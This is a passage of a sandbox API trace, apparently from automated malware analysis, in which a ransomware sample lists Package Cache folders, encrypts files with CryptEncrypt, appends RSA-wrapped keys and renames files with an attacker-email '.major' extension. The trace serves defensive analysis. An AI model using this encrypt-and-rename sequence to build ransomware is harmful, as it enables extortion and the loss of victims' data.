nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630c00 [0151.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0ca0 | out: hHeap=0x570000) returned 1 [0151.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7f00 | out: hHeap=0x570000) returned 1 [0151.915] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7410 | out: hHeap=0x570000) returned 1 [0151.915] GetLastError () returned 0x12 [0151.915] SetLastError (dwErrCode=0x12) [0151.915] GetLastError () returned 0x12 [0151.915] SetLastError (dwErrCode=0x12) [0151.915] GetLastError () returned 0x12 [0151.915] SetLastError (dwErrCode=0x12) [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630e00 | out: hHeap=0x570000) returned 1 [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0151.916] FindNextFileW (in: hFindFile=0x630c00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e7475e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x158c65ab, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0d68 | out: hHeap=0x570000) returned 1 [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7de0 | out: hHeap=0x570000) returned 1 [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0151.916] GetLastError () returned 0x12 [0151.916] SetLastError (dwErrCode=0x12) [0151.916] GetLastError () returned 0x12 [0151.916] SetLastError (dwErrCode=0x12) [0151.916] GetLastError () returned 0x12 [0151.916] SetLastError (dwErrCode=0x12) [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630d00 | out: hHeap=0x570000) returned 1 [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40600 | out: hHeap=0x570000) returned 1 [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0151.916] FindNextFileW (in: hFindFile=0x630c00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x157e17c9, ftCreationTime.dwHighDateTime=0x1d50249, ftLastAccessTime.dwLowDateTime=0x157e17c9, ftLastAccessTime.dwHighDateTime=0x1d50249, ftLastWriteTime.dwLowDateTime=0x158c65ab, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x984, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="READ_ME.major", cAlternateFileName="READ_M~1.MAJ")) returned 1 [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0020 | out: hHeap=0x570000) returned 1 [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7960 | out: hHeap=0x570000) returned 1 [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b76b8 | out: hHeap=0x570000) returned 1 [0151.916] GetLastError () returned 0x12 [0151.916] SetLastError (dwErrCode=0x12) [0151.916] GetLastError () returned 0x12 [0151.916] SetLastError (dwErrCode=0x12) [0151.916] GetLastError () returned 0x12 [0151.916] SetLastError (dwErrCode=0x12) [0151.916] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5cce40 | out: hHeap=0x570000) returned 1 [0151.917] FindNextFileW (in: hFindFile=0x630c00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0x354d9570, ftLastWriteTime.dwHighDateTime=0x1d327be, nFileSizeHigh=0x0, nFileSizeLow=0x272, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="state.rsm", cAlternateFileName="")) returned 1 [0151.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d08b8 | out: hHeap=0x570000) returned 1 [0151.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7e28 | out: hHeap=0x570000) returned 1 [0151.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0151.917] GetLastError () returned 0x12 [0151.917] SetLastError (dwErrCode=0x12) [0151.917] GetLastError () returned 0x12 [0151.917] SetLastError (dwErrCode=0x12) [0151.917] GetLastError () returned 0x12 [0151.917] SetLastError (dwErrCode=0x12) [0151.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccf30 | out: hHeap=0x570000) returned 1 [0151.917] FindNextFileW (in: hFindFile=0x630c00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xcef30371, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 1 [0151.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0340 | out: hHeap=0x570000) returned 1 [0151.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7de0 | out: hHeap=0x570000) returned 1 [0151.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7498 | out: hHeap=0x570000) returned 1 [0151.917] GetLastError () returned 0x12 [0151.917] SetLastError (dwErrCode=0x12) [0151.917] GetLastError () returned 0x12 [0151.917] SetLastError (dwErrCode=0x12) [0151.917] GetLastError () returned 0x12 [0151.917] SetLastError (dwErrCode=0x12) [0151.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0151.917] FindNextFileW (in: hFindFile=0x630c00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcf03b3d5, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xcf03b3d5, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xcef30371, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x6f428, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="vcredist_x86.exe", cAlternateFileName="VCREDI~1.EXE")) returned 0 [0151.917] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.917] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe", dwFileAttributes=0x80) returned 1 [0151.917] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e5c0 | out: hHeap=0x570000) returned 1 [0151.918] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x64c [0151.918] GetFileSizeEx (in: hFile=0x64c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=455720) returned 1 [0151.918] ReadFile (in: hFile=0x64c, lpBuffer=0x2e40fd8, nNumberOfBytesToRead=0x6f428, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2e40fd8*, lpNumberOfBytesRead=0x2e3f9b4*=0x6f428, lpOverlapped=0x0) returned 1 [0151.955] SetFilePointer (in: hFile=0x64c, lDistanceToMove=-455720, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.955] WriteFile (in: hFile=0x64c, lpBuffer=0x2f60050*, nNumberOfBytesToWrite=0x6f428, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x2f60050*, lpNumberOfBytesWritten=0x2e3f9b4*=0x6f428, lpOverlapped=0x0) returned 1 [0151.956] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40fd8 | out: hHeap=0x570000) returned 1 [0151.956] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2f60050 | out: hHeap=0x570000) returned 1 [0151.957] SetFilePointer (in: hFile=0x64c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x6f428 [0151.957] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.957] WriteFile (in: hFile=0x64c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.957] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.957] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.957] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.957] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.957] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="Ijic/TAjbuFSWkR00z8LRB9YufB2dJNMII26Ezd4hj89uSlezbZOoY6LXDe6xFZ8\nxqer1dVd/0cs93s9v2Udeh26TesuFceag7Ixt8z6wdFzVUNsHive2y8DNTVIqZBO\ne7tyIDwdFwHGanBoLT9xIMecy/DY30cCXixIh6vHw5Slvf9SpJjFf9wXNhr2+eLP\nvCY5QEUiSzAYnv5VRdrqiVn3WVFgDlrjp4B73uUD1XRMLWyNULawaaiD47i8+9gL\nKECl4a4RoNZOMSw0WvAlQWsGxBAcjIJXXrIAR3pKzK6lRjk4j/zvJGIUW87opHzw\nNbEGxTX2V4IOcDtFtJKXug==\n", pcchString=0x2e3f9a8) returned 1 [0151.957] WriteFile (in: hFile=0x64c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.958] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.958] WriteFile (in: hFile=0x64c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.958] CloseHandle (hObject=0x64c) returned 1 [0151.958] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.958] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe"), lpNewFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\vcredist_x86.exe.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.960] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57eca8 | out: hHeap=0x570000) returned 1 [0151.960] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0151.960] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x58e0b8 | out: hHeap=0x570000) returned 1 [0151.960] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x5bf480 [0151.960] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0151.960] CryptGenRandom (in: hProv=0x5b7388, dwLen=0x20, pbBuffer=0x45b234 | out: pbBuffer=0x45b234) returned 1 [0151.960] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm", dwFileAttributes=0x80) returned 1 [0151.960] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xa0) returned 0x57eca8 [0151.960] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xf0) returned 0x57ed50 [0151.960] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x64c [0151.960] GetFileSizeEx (in: hFile=0x64c, lpFileSize=0x2e3f9b8 | out: lpFileSize=0x2e3f9b8*=626) returned 1 [0151.960] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x272) returned 0x5c1ce8 [0151.960] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x272) returned 0x5a8108 [0151.960] ReadFile (in: hFile=0x64c, lpBuffer=0x5c1ce8, nNumberOfBytesToRead=0x272, lpNumberOfBytesRead=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesRead=0x2e3f9b4*=0x272, lpOverlapped=0x0) returned 1 [0151.961] SetFilePointer (in: hFile=0x64c, lDistanceToMove=-626, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0151.961] WriteFile (in: hFile=0x64c, lpBuffer=0x5a8108*, nNumberOfBytesToWrite=0x272, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5a8108*, lpNumberOfBytesWritten=0x2e3f9b4*=0x272, lpOverlapped=0x0) returned 1 [0151.961] SetFilePointer (in: hFile=0x64c, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e3f9bc*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e3f9bc*=0) returned 0x272 [0151.961] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.961] WriteFile (in: hFile=0x64c, lpBuffer=0x4452cc*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452cc*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.962] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e3f9ac*=0x100) returned 1 [0151.962] CryptEncrypt (in: hKey=0x5a2690, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x20, dwBufLen=0x100 | out: pbData=0x45b234*, pdwDataLen=0x2e3f988*=0x100) returned 1 [0151.962] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x0, pcchString=0x2e3f9a8 | out: pszString=0x0, pcchString=0x2e3f9a8) returned 1 [0151.962] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x2be) returned 0x5c1ce8 [0151.962] CryptBinaryToStringA (in: pbBinary=0x45b234, cbBinary=0x100, dwFlags=0x80000001, pszString=0x5c1ce8, pcchString=0x2e3f9a8 | out: pszString="3/NEgqbzHA6BEtgG7C1FfbqGht7k+a3prWc3b3B3OrR/7p1QNzFujNhvM4fIKhwX\nDK8lD4iSt1tVRJrEtamRW9LpUbDmSWWJa3SBvrf9RdHLiK2x1FPdboJfmykKaZhy\n09V9xCPKFfx5SnnL5SJostG/jV9oWEnNNLh27KgI4r0ATAz09Ox/MJAGOoig2Y3E\nSv6pFH1CBDUq9yYw2J7LNc0lFBtkSM6g7lBHUfwA9sBgrwYuiJmdwd5Vl6Fl1Smg\nDzVPhU/91tdKOOqzr/xRDE4hzaE9eMj1dSIIxpm5cNVNXsGLQpYLM4ejtuxnD3rZ\n8EAFpqqtQp7jKYBjqrbeag==\n", pcchString=0x2e3f9a8) returned 1 [0151.962] WriteFile (in: hFile=0x64c, lpBuffer=0x5c1ce8*, nNumberOfBytesToWrite=0x15e, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x5c1ce8*, lpNumberOfBytesWritten=0x2e3f9b4*=0x15e, lpOverlapped=0x0) returned 1 [0151.963] lstrlenA (lpString="[BEGIN_RSA_CRYPTED_KEY]") returned 23 [0151.963] WriteFile (in: hFile=0x64c, lpBuffer=0x4452e4*, nNumberOfBytesToWrite=0x17, lpNumberOfBytesWritten=0x2e3f9b4, lpOverlapped=0x0 | out: lpBuffer=0x4452e4*, lpNumberOfBytesWritten=0x2e3f9b4*=0x17, lpOverlapped=0x0) returned 1 [0151.963] CloseHandle (hObject=0x64c) returned 1 [0151.963] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1ce8 | out: hHeap=0x570000) returned 1 [0151.963] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm"), lpNewFileName="\\Users\\All Users\\Package Cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.1506877342345.bmps@tutanota.com.major" (normalized: "c:\\users\\all users\\package cache\\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\\state.rsm.1506877342345.bmps@tutanota.com.major"), dwFlags=0x8) returned 1 [0151.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57ed50 | out: hHeap=0x570000) returned 1 [0151.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0151.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf480 | out: hHeap=0x570000) returned 1 [0151.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5bf3d8 | out: hHeap=0x570000) returned 1 [0151.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xb0) returned 0x58e508 [0151.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x57e1d0 | out: hHeap=0x570000) returned 1 [0151.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40f20 | out: hHeap=0x570000) returned 1 [0151.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c1158 | out: hHeap=0x570000) returned 1 [0151.965] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\\*", lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x158c65ab, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName=".", cAlternateFileName="")) returned 0x630d00 [0151.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0b10 | out: hHeap=0x570000) returned 1 [0151.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c79a8 [0151.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b78d8 [0151.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c79a8 | out: hHeap=0x570000) returned 1 [0151.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0278 [0151.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b78d8 | out: hHeap=0x570000) returned 1 [0151.965] GetLastError () returned 0x0 [0151.965] SetLastError (dwErrCode=0x0) [0151.965] GetLastError () returned 0x0 [0151.965] SetLastError (dwErrCode=0x0) [0151.965] GetLastError () returned 0x0 [0151.965] SetLastError (dwErrCode=0x0) [0151.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c40b8 [0151.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0151.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0151.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0151.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630dc0 [0151.965] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630dc0 | out: hHeap=0x570000) returned 1 [0151.965] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e403d8 [0151.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e403d8 | out: hHeap=0x570000) returned 1 [0151.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0151.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c40b8 | out: hHeap=0x570000) returned 1 [0151.966] FindNextFileW (in: hFindFile=0x630d00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2e75aa9, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x158c65ab, ftLastWriteTime.dwHighDateTime=0x1d50249, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="..", cAlternateFileName="")) returned 1 [0151.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0278 | out: hHeap=0x570000) returned 1 [0151.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7de0 [0151.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b7168 [0151.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7de0 | out: hHeap=0x570000) returned 1 [0151.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0598 [0151.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b7168 | out: hHeap=0x570000) returned 1 [0151.966] GetLastError () returned 0x0 [0151.966] SetLastError (dwErrCode=0x0) [0151.966] GetLastError () returned 0x0 [0151.966] SetLastError (dwErrCode=0x0) [0151.966] GetLastError () returned 0x0 [0151.966] SetLastError (dwErrCode=0x0) [0151.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x30) returned 0x5c4438 [0151.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x4c) returned 0x5befd0 [0151.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5befd0 | out: hHeap=0x570000) returned 1 [0151.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0151.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x34) returned 0x630d40 [0151.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x630d40 | out: hHeap=0x570000) returned 1 [0151.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x10) returned 0x2e40528 [0151.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x2e40528 | out: hHeap=0x570000) returned 1 [0151.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0151.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c4438 | out: hHeap=0x570000) returned 1 [0151.966] FindNextFileW (in: hFindFile=0x630d00, lpFindFileData=0x2e3fb24 | out: lpFindFileData=0x2e3fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0b0dbb0, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc2ebdead, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0b0dbb0, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x73ca443f, cFileName="packages", cAlternateFileName="")) returned 1 [0151.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5d0598 | out: hHeap=0x570000) returned 1 [0151.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x40) returned 0x5c7ba0 [0151.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x80) returned 0x5b6c18 [0151.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5c7ba0 | out: hHeap=0x570000) returned 1 [0151.966] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0xc0) returned 0x5d0ef8 [0151.966] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5b6c18 | out: hHeap=0x570000) returned 1 [0151.966] GetLastError () returned 0x0 [0151.966] SetLastError (dwErrCode=0x0) [0151.966] GetLastError () returned 0x0 [0151.967] SetLastError (dwErrCode=0x0) [0151.967] GetLastError () returned 0x0 [0151.967] SetLastError (dwErrCode=0x0) [0151.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5ccd50 [0151.967] RtlAllocateHeap (HeapHandle=0x570000, Flags=0x0, Size=0x20) returned 0x5cce40 [0151.967] HeapFree (in: hHeap=0x570000, dwFlags=0x0, lpMem=0x5ccd50 | out: hHeap=0x570000) returned 1 [0151.967] 